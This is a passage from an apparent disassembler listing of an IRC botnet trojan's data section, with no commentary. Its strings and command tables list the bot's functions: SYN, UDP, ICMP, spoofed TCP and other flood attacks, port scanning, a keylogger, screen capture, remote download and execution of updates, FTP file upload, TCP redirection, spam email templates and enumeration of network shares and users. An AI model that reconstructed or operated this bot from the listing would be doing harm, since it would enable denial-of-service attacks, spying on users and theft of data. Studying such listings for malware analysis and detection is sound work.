		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_42F530	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_42F56C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_42F59C	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_42F5D0	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_42F5EC	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42F61C	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42F644	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42F664	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42F684	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42F6A0	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401ACD+710Eo
dword_42F6B4	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o
					; sub_401ACD+7C47o
unk_42F6C0	db  2Dh	; -		; DATA XREF: sub_401ACD+70AFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_42F6E8	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_42F704	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_42F720	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_42F728	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_42F744	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_42F750	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_42F758	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_42F760	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42F79C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42F7C8	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42F804	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42F838	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42F86C	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_42F884	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_42F898	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_42F8A8	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_42F8F0	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42F92C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_42F964	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42F980	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42F9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42F9E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42FA10	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42FA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42FA40	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42FA78	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42FAB0	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42FADC	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42FB18	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42FB48	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42FB80	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42FBB0	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42FBE8	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42FC18	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42FC50	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42FC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42FCCC	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42FCF8	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42FD3C	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42FD78	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42FDD4	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42FDE0	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42FE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42FE6C	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42FEA4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42FF0C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42FF40	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42FF74	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42FFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_430014	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
unk_430034	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_430074	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_4300AC	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_4300F4	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_430128	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_43015C	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_430194	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 4
unk_4301E8	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_430220	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_430268	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 10h
unk_4302A0	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_4302D8	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_43031C	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_43035C	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:0043D500o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:0043D4F8o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 10h
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_430494	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
dword_4304D0	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_430518	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:0043D530o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:0043D4E8o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 10h
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:0043D540o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
unk_430694	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_4306B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_4306DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_4306FC	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 4
unk_430724	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_430744	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 10h
unk_430780	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_4307A0	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_4307C4	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_4307FC	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_430838	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_43085C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_43087C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_4308A8	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
